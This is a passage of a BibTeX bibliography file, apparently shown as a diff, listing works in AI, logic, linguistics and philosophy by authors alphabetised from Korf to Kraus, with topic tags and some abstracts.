korf-felner:2002a, + author = {Richard E. Korf and Ariel Felner}, + title = {Disjoint Pattern Database Heuristics}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {134}, + number = {1--2}, + pages = {9-22}, + topic = {problem-solving;search;computer-games;} + } + +@incollection{ korkmaz-ucoluk:1998a, + author = {Emin Erkan Korkmaz and G\"okt\"urk \"U\c{c}oluk}, + title = {A Method for Improving Automatic Word Categorization}, + booktitle = {{CoNLL97}: Computational Natural Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {T. Mark Ellison}, + pages = {43--49}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;word-acquisition;} + } + +@incollection{ korkmaz-ucoluk:1998b, + author = {Emin Erkin Korkmaz and G\"okt|"urk \"U\c{c}oluk}, + title = {Choosing a Distance Metric for Automatic Word + Categorization}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Natural Language + Learning: {NeMLaP3/CoNLL98}}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {David M.W. Powers}, + pages = {111--120}, + address = {Somerset, New Jersey}, + topic = {machine-learning;word-classification;} + } + +@book{ kornai:1999a, + editor = {Andr\'as Kornai}, + title = {Extended Finite State Models of Language}, + publisher = {Cambridge University Press}, + year = {1999}, + address = {Cambridge, England}, + ISBN = {0-521-63198-X}, + xref = {Review: kaiser:2000a.}, + topic = {finite-state-nlp;} + } + +@article{ korner:1975a, + author = {Stefan K\"orner}, + title = {Classical Logic and Inexact Predicates---A Reply}, + journal = {Mind, New Series}, + year = {1975}, + volume = {84}, + pages = {450}, + missinginfo = {number}, + topic = {vagueness;} + } + +@book{ korner:1975b, + editor = {Stephan K\"orner}, + title = {Explanation: Papers and Discussions}, + publisher = {Yale University Press}, + year = {1975}, + address = {New Haven}, + ISBN = {0300018274}, + topic = {explanation;} + } + +@incollection{ kornfilt-correa:1993a, + author = {Jaklin Kornfilt and Nelson Correa}, + title = {Conceptual Structure and Its Relation to the Structure of + Lexical Entries}, + booktitle = {Knowledge and Language: Volume {II}, Lexical and Conceptual + Structure}, + publisher = {Kluwer Academic Publishers}, + year = {1993}, + editor = {Eric Reuland and Werner Abraham}, + pages = {79--118}, + address = {Dordrecht}, + topic = {cognitive-semantics;lexical-semantics;} + } + +@book{ korsgaard:1996a, + editor = {Christine M. Korsgaard}, + title = {The Sources of Normativity}, + publisher = {Cambridge University Press}, + year = {1996}, + address = {Cambridge, England}, + ISBN = {0521550599 (hc)}, + topic = {ethics;} + } + +@article{ koschmann:1987a, + author = {Timothy D. Koschmann}, + title = {Review of {\it Mind over Machine: The Power of Human + Intuition and Expertise in the Era of the Computer}, by + {H}ubert {L}. {D}reyfus and {S}tuart {E}. {D}reyfus}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {33}, + number = {1}, + pages = {135--140}, + xref = {Review of: dreyfus_hl-dreyfus_se:1986a.}, + topic = {philosophy-AI;} + } + +@article{ koschmann:1996a, + author = {Timothy Koschmann}, + title = {Of {H}ubert {D}reyfus and Dead Horses: Some Thoughts on + {\it What Computers Still Can't Do}}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {80}, + number = {1}, + pages = {129--141}, + xref = {Review of dreyfus:1992a.}, + topic = {philosophy-AI;intelligent-tutoring;} + } + +@inproceedings{ koskenniemi:1983a, + author = {Kimmo Koskenniemi}, + title = {Two-Level Model for Morphological Analysis}, + booktitle = {Proceedings of the Eighth International Joint + Conference on Artificial Intelligence}, + year = {1983}, + editor = {Alan Bundy}, + publisher = {William Kaufmann, Inc.}, + address = {Los Altos, California}, + missinginfo = {pages}, + topic = {two-level-morphology;finite-state-morpology;} + } + +@article{ koskenniemi:1990a, + author = {Kimmo Koskenniemi}, + title = {Finite State Morphology and Information Retrieval}, + journal = {Natural Language Engineering}, + year = {1990}, + volume = {2}, + number = {4}, + pages = {341--346}, + topic = {two-level-morphology;finite-state-morpology; + information-retrieval;} + } + +@article{ koslicki:1999a, + author = {Kathryn Koslicki}, + title = {The Semantics of Mass-Predicates}, + journal = {No\^us}, + year = {1999}, + volume = {33}, + number = {3}, + pages = {46--91}, + topic = {mass-term-semantics;} + } + +@article{ koslicki:1999b, + author = {Kathrin Koslicki}, + title = {Genericity and Logical Form}, + journal = {Mind and Language}, + volume = {14}, + year = {1999}, + pages = {441--467}, + topic = {generics;nl-semantics;} + } + +@incollection{ kosslyn:1990a, + author = {Stephen Michael Kosslyn}, + title = {Visual Cognition: Introduction}, + booktitle = {An Invitation to Cognitive Science. Volume + 2: Visual Cognition and Action}, + publisher = {The {MIT} Press}, + year = {1990}, + editor = {Daniel N. Osherson and Howard Lasnik}, + pages = {3--4}, + address = {Cambridge, Massachusetts}, + topic = {cognitive-psychology;computer-vision;visual-reasoning;} + } + +@incollection{ kosslyn:1990b, + author = {Steven Michael Kosslyn}, + title = {Mental Imagery}, + booktitle = {An Invitation to Cognitive Science. Volume + 2: Visual Cognition and Action}, + publisher = {The {MIT} Press}, + year = {1990}, + editor = {Daniel N. Osherson and Howard Lasnik}, + pages = {73--97}, + address = {Cambridge, Massachusetts}, + topic = {cognitive-psychology;human-vision;visual-reasoning;} + } + +@incollection{ koton-chase:1989a, + author = {Phyllis Koton and Melissa P. Chase}, + title = {Knowledge Representation in a Case-Based Reasoning System: + Defaults and Exceptions}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {203--211}, + address = {San Mateo, California}, + topic = {kr;kr-course;case-based-reasoning;} + } + +@incollection{ koubarakis:1992a, + author = {Manolis Koubarakis}, + title = {Dense Time and Temporal Constraints with $\neq$}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {24--35}, + address = {San Mateo, California}, + topic = {kr;temporal-reasoning;constraint-satisfaction;kr-course;} + } + +@incollection{ koubarakis:1994a, + author = {Manolis Koubarakis}, + title = {Complexity Results for First-Order Theories of Temporal + Constraints}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {379--390}, + address = {San Francisco, California}, + topic = {kr;complexity-in-AI;temporal-reasoning;kr-course;} + } + +@article{ koubarakis-skiadopoulos:2000a, + author = {Manolis Koubarakis and Spiros Skiadopoulos}, + title = {Querying Temporal and Spatial Constraint Networks in + {PTIME}}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {123}, + number = {1--2}, + pages = {223--263}, + topic = {constraint-networks;spatial-reasoning;complexity-in-AI;} + } + +@incollection{ kourany:2000a, + author = {Janet A. Kourany}, + title = {A Successor to the Realism/Antirealism Question}, + booktitle = {{PSA}'1998: Proceedings of the 1998 Biennial Meetings + of the Philosophy of Science Association, Part {II}: + Symposium Papers}, + publisher = {Philosophy of Science Association}, + year = {2000}, + editor = {Don A. Howard}, + pages = {S87--}, + address = {Newark, Delaware}, + topic = {philosophical-realism;philosophy-of-science;} + } + +@article{ kowalski-kuehner:1971a, + author = {Robert Kowalski and Donald Kuehner}, + title = {Linear Resolution with Selection Function}, + journal = {Artificial Intelligence}, + year = {1971}, + volume = {2}, + number = {3--4}, + pages = {227--260}, + acontentnote = {Abstract: + Linear resolution with selection function (SL-resolution) is a + restricted form of linear resolution. The main restriction is + effected by a selection function which chooses from each clause + a single literal to be resolved upon in that clause. This and + other restrictions are adapted to linear resolution from + Loveland's model elimination. + We show that SL-resolution achieves a substantial reduction in + the generation of redundant and irrelevant derivations and does + so without significantly increasing the complexity of simplest + proofs. We base our argument for the increased efficiency of + SL-resolution upon precise calculation of these quantities. + A more far reaching advantage of SL-resolution is its + suitability for heuristic search. In particular, classification + trees, subgoals, lemmas, and/or search trees can all be used to + increase the efficiency of finding refutations. These + considerations alone suggest the superiority of SL-resolution to + theorem-proving procedures constructed solely for their + heuristic attraction. + From comparison with other theorem-proving methods, we + conjecture that best proof procedures for first order logic will + be obtained by further elaboration of SL-resolution.}, + topic = {theorem-proving;SL-resolution;resolution;} + } + +@incollection{ kowalski:1979a, + author = {Robert Kowalski}, + title = {Logic for Data Description}, + booktitle = {Logic and Data Bases}, + publisher = {Plenum Press}, + year = {1978}, + editor = {H. Gallaire and Jack Minker}, + pages = {293--322}, + address = {New York}, + missinginfo = {E's 1st name.}, + topic = {logic-programming;deductive-databases;} + } + +@book{ kowalski:1979b, + author = {Robert Kowalski}, + title = {Logic For Problem Solving}, + publisher = {Elsevier North Holland}, + year = {1979}, + address = {Amsterdam}, + ISBN = {0444003657}, + topic = {logic-in-AI;} + } + +@article{ kowalski-sergot:1986a, + author = {Robert A. Kowalski and Marek J. Sergot}, + title = {A Logic-Based Calculus of Events}, + journal = {New Generation Computing}, + year = {1986}, + volume = {4}, + pages = {67--95}, + contentnote = {This is the original event calculus paper.}, + topic = {events;event-calculus;action-formalisms;} + } + +@article{ kowalski:1990a, + author = {Robert A. Kowalski}, + title = {English as a Logic Programming Language}, + journal = {New Generation Computing}, + volume = {8}, + number = {2}, + pages = {91--93}, + year = {1990}, + ISBN = {0288-3635}, + topic = {logic-programming;nl-and-logic;nl-as-kr;} + } + +@incollection{ kowalski-kim_js:1991a, + author = {Robert Kowalski and Jin-Sang Kim}, + title = {A Metalogic Approach to + Multi-Agent Knowledge and Belief}, + booktitle = {Artificial Intelligence and Mathematical Theory of + Computation}, + publisher = {Academic Press}, + year = {1991}, + editor = {Vladimir Lifschitz}, + pages = {231--246}, + address = {San Diego}, + topic = {LISP;parallel-processing;} + } + +@article{ kowalski:1992a, + author = {Robert A. Kowalski}, + title = {Database Updates in the Event Calculus}, + journal = {Journal of Logic Programming}, + year = {1992}, + volume = {12}, + pages = {121--146}, + missinginfo = {number}, + topic = {event-calculus;database-update;} + } + +@article{ kowalski:1993a, + author = {Robert A. Kowalski}, + title = {An Undergrauate Degree in Practical Reasoning}, + journal = {Journal of Logic and Computation}, + volume = {3}, + number = {3}, + pages = {227--229}, + year = {1993}, + topic = {logic-education;} + } + +@article{ kowalski-toni:1996a, + author = {Robert A. Kowalski and Frencesca Toni}, + title = {Abstract Argumentation}, + journal = {Artificial Intelligence and Law}, + year = {1996}, + pages = {275--296}, + volume = {4}, + topic = {legal-AI;argumentation;} + } + +@incollection{ kozai:1999a, + author = {Soichi Kozai}, + title = {A Mental Space Account for Speaker's + Empathy: {J}apanese Profiling Identity vs. {E}nglish + Shading Identity}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {214--227}, + address = {Berlin}, + topic = {context;empathy;Japanese-language;} + } + +@book{ kozen:1997a, + author = {Dexter C. Kozen}, + title = {Automata and Computability}, + publisher = {Springer-Verlag}, + year = {1997}, + address = {Berlin}, + topic = {automata-theory;finite-state-automata;computability; + context-free-grammars;complexity-theory;theoretical-cs-intro;} + } + +@incollection{ kozuma-iro:1998a, + author = {Hideki Kozuma and Akira Iro}, + title = {Towards Language Acquisition by an Attention-Sharing + Robot}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {245--246}, + address = {Somerset, New Jersey}, + topic = {automated-language-acquisition;} + } + +@article{ krabbe:1978a, + author = {Eric C.W. Krabbe}, + title = {Note on a Completeness Theorem in the Theory of + Counterfactuals}, + journal = {Journal of Philosophical Logic}, + year = {1978}, + volume = {7}, + number = {1}, + pages = {91--93}, + topic = {conditionals;} + } + +@techreport{ krabbe:1982a, + author = {Erik C.W. Krabbe}, + title = {Noncumulative Dialectical Models and Formal Dialectics}, + institution = {Centrale Interfaculteit, Reijksuniversiteit Utrecht}, + year = {1982}, + address = {Utrecht}, + missinginfo = {Year is a guess.}, + topic = {dialogue-logic;} + } + +@article{ krabbe:1985a, + author = {Eric C.W. Krabbe}, + title = {Noncumulative Dialectical Models and Formal Dialectics}, + journal = {Journal of Philosophical Logic}, + year = {1985}, + volume = {14}, + number = {2}, + pages = {129--168}, + topic = {dialogue-logic;} + } + +@article{ krabbe:1986a, + author = {Erik C.W. Krabbe}, + title = {A Theory of Modal Dialectics}, + journal = {Journal of Philosophical Logic}, + year = {1986}, + volume = {15}, + number = {2}, + pages = {191--217}, + topic = {dialogue-logic;} + } + +@incollection{ krabbendam-meyer:1998a, + author = {J. Krabbendam and J.-J. Meyer}, + title = {Contextual Deontic Logic}, + booktitle = {Norms, Logics and Information Systems. New Studies in + Deontic Logic and Computer Science}, + publisher = {IOS Press}, + year = {1998}, + editor = {Henry Prakken and Paul McNamara}, + address = {Amsterdam}, + missinginfo = {pages = {347--}}, + topic = {deontic-logic;context;} + } + +@article{ kracht:1991a, + author = {Marcus Kracht}, + title = {A Solution to a Problem of {U}rquhart}, + journal = {Journal of Philosophical Logic}, + year = {1991}, + volume = {20}, + number = {3}, + pages = {285--286}, + topic = {modal-logic;} + } + +@incollection{ kracht:1993a, + author = {Marcus Kracht}, + title = {How Completeness and Correspondence Theory Got Married}, + booktitle = {Diamonds and Defaults}, + publisher = {Kluwer Academic Publishers}, + editor = {Maarten de Rijke}, + year = {1993}, + pages = {175--214}, + address = {Dordrecht}, + topic = {modal-logic;completeness-theorems;modal-correspondence-theory;} + } + +@article{ kracht:1995a, + author = {Marcus Kracht}, + title = {Is There a Genuine Modal Perspective on Feature + Structures?}, + journal = {Linguistics and Philosophy}, + year = {1995}, + volume = {18}, + number = {4}, + pages = {401--458}, + topic = {feature-structure-logic;} + } + +@article{ kracht:1995b, + author = {Marcus Kracht}, + title = {Syntactic Codes and Grammar Refinement}, + journal = {Journal of Logic, Language, and Information}, + year = {1993}, + volume = {4}, + number = {1}, + pages = {41--60}, + note = {(This version contained incorrect fonts, and was reprinted as + an erratum in the {\em Journal of Logic, Language, and + Information}, vol. 4, no. 4, pp.~359--380.)}, + topic = {foundations-of-syntax;constraint-based-grammar;minimalist-syntax;} + } + +@article{ kracht:1997a, + author = {Marcus Kracht}, + title = {Review of {\it The Semantics of Syntax: A Minimalist + Approach to Grammar}, by {D}enis {B}ouchard}, + journal = {Journal of Logic, Language, and Information}, + year = {1997}, + volume = {6}, + number = {3}, + pages = {344--350}, + topic = {nl-semantics;foundations-of-semantics;} + } + +@incollection{ kracht:1997b, + author = {Marcus Kracht}, + title = {Inessential Features}, + booktitle = {{LACL}'96: First International Conference on + Logical Aspects of Computational Linguistics}, + publisher = {Springer-Verlag}, + year = {1997}, + editor = {Christian Retor/'e}, + pages = {43--62}, + address = {Berlin}, + topic = {logic-and-computational-linguistics; + feature-structure-logic;} + } + +@article{ kracht-wolter:1997a, + author = {Marcus Kracht and Frank Wolter}, + title = {Simulation and Transfer Results in Modal Logic: + A Survey}, + journal = {Studia Logica}, + year = {1997}, + volume = {59}, + number = {2}, + pages = {149--177}, + topic = {combining-logics;modal-logics;} + } + +@article{ kracht:1998a, + author = {Marcus Kracht}, + title = {On Extensions of Intermediate Logics by + Strong Negation}, + journal = {Journal of Philosophical Logic}, + year = {1998}, + volume = {27}, + number = {1}, + pages = {49--73}, + topic = {intuitionistic-logic;constructive-logics;} + } + +@book{ kracht-etal:1998a, + editor = {Marcus Kracht and Maarten de Rijke and Heinrich Wansing}, + title = {Advances in Modal Logic, Volume 1}, + publisher = {{CSLI} Publications}, + year = {1998}, + address = {Stanford, California}, + contentnote = {TC: + 1. Alberto Artosi and Paola Benassi and Guido GOvernatori + and Antonio Rotolo, "Shakespearian Modal Logic: A Labeled + Treatment of Modal Identity", pp. 1--21 + 2. Philippe Balbiani, "Terminological Modal Logic", pp. 23--39 + 3. Patrick Blackburn and Jerry Seligman, "What Are Hybrid + Languages?", pp. 41--62 + 4. Lilia Chagrova, "On the Degree of Neighborhood Incompleteness + of Normal Modal Logics", pp. 63--72 + 5. Giovanna D'Agostino and Marco Hollenberg, "Uniform Interpolation, + Automata and the Modal $\mu$-Calculus", pp. 73--84 + 6. Carsten Grefe, "Fischer {S}ervi's Intuitionistic Modal Logic + Has the Finite Model Property", pp. 85--98 + 7. Bernhard Heinemann, "Topological Nexttime Logic", pp. 99--113 + 8. Oliver Lemon and Ian Pratt, "On the Incompleteness of Modal + Logics of Space: Advancing Complete Modal Logics of + Place", pp. 115--132 + 9. Larisa Maksimova, "Interpolation in Superinituitionistic + and Modal Predicate Logics with Equality", pp. 113--140 + 10. Maarten Marx, "Mosaics and Cylindric Modal Logic of Dimension + 2", pp. 141--156 + 11. Aida Pliu\v{s}kevi\v{c}ien\'e, "Cut-Free Indexical Calculi + for Modal Logics Containing the {B}arcan + Axiom", pp. 157--172 + 12. Riccardo Rosati, "Minimal Knowledge States in Nonmonotonic + Modal Logics", pp. 173--187 + 13. Renate A. Schmidt, "Resolution is a Decision Procedure for + Many Propositional Modal Logics", pp. 187--208 + 14. Valentin Shehtman, "On Strong Neighbourhood Completeness of Modal + and Intermediate Propositional Logics, Part {I}", pp. 209-222 + 15. Hiroyuki Shirasu, "Duality in Superintuitionistic and Modal + Predicate Logics", pp. 223--236 + 16. Vladimir V. Spanopulo and Vladimir A. Zakharov, "On the + Relationship between Models of Parallel + Computation", pp. 237--248 + 17. Timothy J. Surendonk, "On Isomorphisms between Canonical + Frames", pp. 249--268 + 18. Dimiter Vakarelov, "Hyper Arrow Structures. Arrow Logics + {III}", pp. 269--290 + 19. Yde Venema, "Atom Structures", pp. 291--305 + 20. Albert Visser, "An Overview of Interpretability Logic", pp. 307--359 + 21. Frank Wolter, "Fusions of Modal Logics Revisited", pp. 361--379 + } , + ISBN = {1-57587-102-X}, + xref = {Reviews: cresswell_mj:2000a,mares:2002a.}, + topic = {modal-logic;} + } + +@book{ kracht:1999a, + author = {Marcus Kracht}, + title = {Tools and Techniques in Modal Logic}, + publisher = {Elsevier}, + year = {1999}, + address = {Amsterdam}, + xref = {Review: bezhanishvili:2001a.}, + topic = {modal-logic;} + } + +@article{ kracht:2001a, + author = {Marcus Kracht}, + title = {Syntax in Chains}, + journal = {Linguistics and Philosophy}, + year = {2001}, + volume = {24}, + number = {4}, + pages = {467--529}, + topic = {nl-syntax;constituent-structure;} + } + +@article{ kracht:2002a, + author = {Marcus Kracht}, + title = {On the Semantics of Locatives}, + journal = {Linguistics and Philosophy}, + year = {2002}, + volume = {25}, + number = {2}, + pages = {157--232}, + topic = {locative-constructions;nl-semantics;spatial-language; + spatial-semantics;} + } + +@article{ kracht:2002b, + author = {Marcus Kracht}, + title = {Referent Systems and Relational Grammar}, + journal = {Journal of Logic, Language, and Information}, + year = {2002}, + volume = {10}, + number = {1}, + pages = {251--286}, + topic = {relational-grammar;dynamic-semantics;referent-systems;} + } + +@inproceedings{ krahmer-muskens:1994a, + author = {Emiel Krahmer and Reinhard Muskens}, + title = {Umbrellas and Bathrooms}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {IV}}, + year = {1994}, + editor = {Mandy Harvey and Lynn Santelmann}, + pages = {175--194}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;donkey-anaphora;discourse-representation-theory; + pragmatics;} + } + +@incollection{ krahmer-etal:1997a, + author = {Emiel Krahmer and Jan Landsbergen and Xavier Pouteau}, + title = {How to Obey the 7 Commandments for Spoken Dialogue}, + booktitle = {Interactive Spoken Dialog Systems: Bridging + Speech and {NLP} Together in Real Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Julia Hirschberg and Candace Kamm and Marilyn Walker}, + pages = {82--89}, + address = {New Brunswick, New Jersey}, + topic = {computational-dialogue;} + } + +@article{ krajcoviech-kotocova:1999a, + author = {Richard Kraj\v{c}oviech and Margar\'eta Koto\v{c}ov\'a}, + title = {Non-Uniform Time Sharing in the Concurrent + Execution of Constraint Solving}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {109}, + number = {1--2}, + pages = {161--185}, + acontentnote = {Abstract: + Concurrent execution of multiple instances of a randomised + search over a CSP is one of the techniques for improvement of + performance. Hitherto, uniform time sharing is the dominant + approach to the control of execution of such instances. This + paper introduces a new modification of search + algorithms--non-uniform time sharing with elimination + (NUTSE)--and experimentally evaluates the efficiency of its + combination with both the FC-MRV (Forward Checking with the + Minimal-Remaining-Values heuristic) and the FC-B (FC with the + Brelaz's heuristic). The experiments show that the NUTSE over + FC-MRV can be in the underconstrained area many times faster + than the singly-executed FC-B. This good behaviour is used in a + hybrid CNUC algorithm (Combined Non-Uniform Concurrency) that + combines the FC-B and the NFC-MRV algorithms to obtain a good + algorithm across a wide range of problem instances. All the + experiments in this paper use the graph three-colouring problem. + } , + topic = {constraint-satisfaction;search;AI-algorithms; + experimental-AI;graph-coloring;time-sharing;} + } + +@article{ krajicek:2001a, + author = {Jan kraj\'i\^cek}, + title = {Tautologies from Pseudo-Random Generators}, + journal = {The Bulletin of Symbolic Logic}, + year = {2001}, + volume = {7}, + number = {2}, + pages = {197--212}, + topic = {proof-complexity;bounded-arithmetic;randomness;} + } + +@article{ kramer:1992a, + author = {Glenn A. Kramer}, + title = {A Geometric Constraint Engine}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {58}, + number = {1--3}, + pages = {327--360}, + acontentnote = {Abstract: + This paper describes a geometric constraint engine for finding + the configurations of a collection of geometric entities that + satisfy a set of geometric constraints. This task is + traditionally performed by reformulating the geometry and + constraints as algebraic equations which are then solved + symbolically or numerically. Symbolic algebraic solution is + NP-complete. Numerical solution methods are characterized by + slow runtimes, numerical instabilities, and difficulty in + handling redundant constraints. Many geometric constraint + problems can be solved by reasoning symbolically about the + geometric entities themselves using a new technique called + degrees of freedom analysis. In this approach, a plan of + measurements and actions is devised to satisfy each constraint + incrementally, thus monotonically decreasing the system's + remaining degrees of freedom. This plan is used to solve, in a + maximally decoupled form, the equations resulting from an + algebraic representation of the problem. Degrees of freedom + analysis results in a polynomial-time, numerically stable + algorithm for geometric constraint satisfaction. Empirical + comparison with a state-of-the-art numerical solver in the + domain of kinematic simulation shows degrees of freedom analysis + to be more robust and substantially more efficient. + } , + topic = {constraint-satisfaction;geometrical-reasoning; + automated-algebra;complexity-in-AI;polynomial-algorithms;} + } + +@book{ krantz-etal:1971a, + author = {D.H. Krantz and R. Duncan Luce and Patrick Suppes and + Amos Tversky}, + title = {Foundations of Measurement}, + publisher = {Academic Press}, + year = {1971}, + volume = {1}, + address = {New York}, + missinginfo = {A's 1st name.}, + topic = {measurement-in-behavioral-science;measurement-theory;} + } + +@inproceedings{ krasucki:1990a, + author = {Paul J. Krasucki}, + title = {Reaching Consensus on Decisions}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Third Conference ({TARK} 1990)}, + year = {1990}, + editor = {Rohit Parikh}, + pages = {141--150}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {mutual-agreement;mutual-beliefs;bargaining-theory; + communications-modeling;} + } + +@inproceedings{ krasucki-etal:1990a, + author = {Paul Krasucki and Rohit Parikh and G. Ndjatou}, + title = {Probabilistic Knowledge and Probabilistic Common Knowledge + (Preliminary Report)}, + booktitle = {Methodologies for Intelligent Systems: Proceedings of + the Sixth International Symposium}, + year = {1991}, + editor = {Z. Ras and M. Zemankova and M. Emrich}, + pages = {1--8}, + publisher = {North-Holland}, + address = {Amsterdam}, + topic = {probabilistic-reasoning;mutual-beliefs;} + } + +@incollection{ krasucki:1992a, + author = {Paul J. Krasucki}, + title = {Some Results on Consensus}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fourth Conference ({TARK} 1992)}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Yoram Moses}, + pages = {245--253}, + address = {San Francisco}, + topic = {communication-protocols;mutual-belief;} + } + +@incollection{ krasucki-ramanujam:1994a, + author = {Paul Krasucki and R. Ramanujam}, + title = {Knowledge and the Ordering of Events in Distributed + Systems}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fifth Conference ({TARK} 1994)}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Ronald Fagin}, + pages = {267--283}, + address = {San Francisco}, + topic = {epistemic-logic;distibuted-systems;} + } + +@article{ kratzer:1977a, + author = {Angelika Kratzer}, + title = {What `Must' and `Can' Must and Can Mean}, + journal = {Linguistics and Philosophy}, + year = {1977}, + volume = {1}, + number = {3}, + pages = {337--356}, + topic = {nl-semantics;nl-modality;} + } + +@incollection{ kratzer:1979a, + author = {Angelika Kratzer}, + title = {Conditional Necessity and Possibility}, + booktitle = {Semantics from Different Points of View}, + year = {1979}, + editor = {Rainer B\"auerle and Urs Egli and Arnim {von Stechow}}, + publisher = {Springer-Verlag}, + address = {Berlin}, + pages = {117--147}, + topic = {nl-semantics;nl-modality;conditionals;} + } + +@article{ kratzer:1980a, + author = {Angelika Kratzer}, + title = {Possible-Worlds Semantics and Psychological Reality}, + journal = {Linguistische Berichte}, + year = {1980}, + volume = {66}, + pages = {1--14}, + missinginfo = {number}, + topic = {foundations-of-semantics;philosophy-of-possible-worlds; + psychological-reality;natural-language-semantics-and-cognition;} + } + +@article{ kratzer:1981a, + author = {Angelika Kratzer}, + title = {Partition and Revision: The Semantics of Counterfactuals}, + journal = {Journal of Philosophical Logic}, + year = {1981}, + volume = {10}, + number = {2}, + pages = {201--216}, + topic = {conditionals;vagueness;} + } + +@incollection{ kratzer:1981b, + author = {Angelika Kratzer}, + title = {The Notional Category of Modality}, + booktitle = {Words, Worlds and Contexts}, + editor = {Hans-J\"urgen Eikmeyer and Hannes Rieser}, + publisher = {Walter de Gruyter}, + address = {Berlin}, + year = {1981}, + pages = {38--74}, + topic = {nl-modality;} + } + +@article{ kratzer:1989a, + author = {Angelika Kratzer}, + title = {An Investigation of the Lumps of Thought}, + journal = {Linguistics and Philosophy}, + year = {1989}, + volume = {12}, + number = {5}, + pages = {607--653}, + topic = {situation-semantics;conditionals;negation;} + } + +@unpublished{ kratzer:1989b, + author = {Angelika Kratzer}, + title = {The Representation of Focus}, + year = {1989}, + note = {Unpublished manuscript, University of Massachusetts + at Amherst}, + topic = {nl-semantics;sentence-focus;} + } + +@incollection{ kratzer:1991a, + author = {Angelika Kratzer}, + title = {Modality}, + booktitle = {Semantics: An International Handbook of + Contemporary Research}, + editor = {A. von Stechow and D. Wunderlich}, + publisher = {de Gruyter}, + year = {1991}, + address = {Berlin}, + pages = {639--650}, + topic = {nl-modality;nl-semantics;} + } + +@incollection{ kratzer:1995a, + author = {Angelika Kratzer}, + title = {Stage-Level and Individual-Level Predicates}, + booktitle = {The Generic Book}, + publisher = {Chicago University Press}, + year = {1995}, + editor = {Gregory Carlson and Francis Jeffrey Pelletier}, + pages = {125--175}, + address = {Chicago, IL}, + topic = {i-level/s-level;} + } + +@article{ kraus:1996a, + author = {Sarit Kraus}, + title = {An Overview of Incentive Contracting}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {83}, + number = {2}, + pages = {297--346}, + acontentnote = {Abstract: + Agents may contract some of their tasks to other agents even + when they do not share a common goal. An agent may try to + contract some of the tasks that it cannot perform by itself, or + that may be performed more efficiently by other agents. One + self-motivated agent may convince another self-motivated agent + to help it with its task, by promises of rewards, even if the + agents are not assumed to be benevolent. We propose techniques + that provide efficient ways for agents to make incentive + contracts in varied situations: when agents have full + information about the environment and each other, or when agents + do not know the exact state of the world. We consider situations + of repeated encounters, cases of asymmetric information, + situations where the agents lack information about each other, + and cases where an agent subcontracts a task to a group of + agents. Situations in which there is competition among possible + contractor agents or possible manager agents are also + considered. In all situations we assume that the contractor can + choose a level of effort when carrying out the task and we would + like the contractor to carry out the task efficiently without + the need of close observation by the manager.}, + topic = {cooperation;negotiation;distributed-systems; + artificial-societies;} + } + +@techreport{ kraus_s-etal:1988a, + author = {Sarit Kraus and Daniel Lehmann and Menachem Magidor}, + title = {Preferential Models and Cumulative Logic}, + institution = {Leibniz Center for Research in Computer Science, + The Hebrew University of Jerusalem}, + number = {TR--88--15}, + year = {1988}, + address = {Jerusalem}, + topic = {nonmonotonic-logic;preferential-models;} + } + +@article{ kraus_s-lehmann:1988a, + author = {Sarit Kraus and Daniel J. Lehmann}, + title = {Knowledge, Belief, and Time}, + journal = {Theoretical Computer Science}, + year = {1988}, + volume = {58}, + pages = {155--274}, + missinginfo = {number}, + topic = {epistemic-logic;temporal-logic;} + } + +@article{ kraus_s-etal:1990a, + author = {Sarit Kraus and Daniel Lehmann and Menachem Magidor}, + title = {Nonmonotonic Reasoning, Preferential Models and Cumulative + Logics}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {14}, + number = {1}, + pages = {167--207}, + topic = {nonmonotonic-logic;model-preference;} + } + +@article{ kraus_s-etal:1991a, + author = {Sarit Kraus and Donald Perlis and John Horty}, + title = {Reasoning about Ignorance: A Note on the {B}ush-{G}orbachov + Problem}, + journal = {Fundamenta Informaticae}, + year = {1991}, + volume = {15}, + number = {3--4}, + pages = {325--332}, + topic = {reasoning-about-knowledge;propositional-attitude-ascription;} + } + +@inproceedings{ kraus_s-wilkenfeld:1991a, + author = {Sarit Kraus and Jonathan Wilkenfeld}, + title = {The Function of Time in Cooperative Negotiations}, + booktitle = {Proceedings of the Ninth National Conference on + Artificial Intelligence}, + year = {1991}, + editor = {Thomas Dean and Kathy 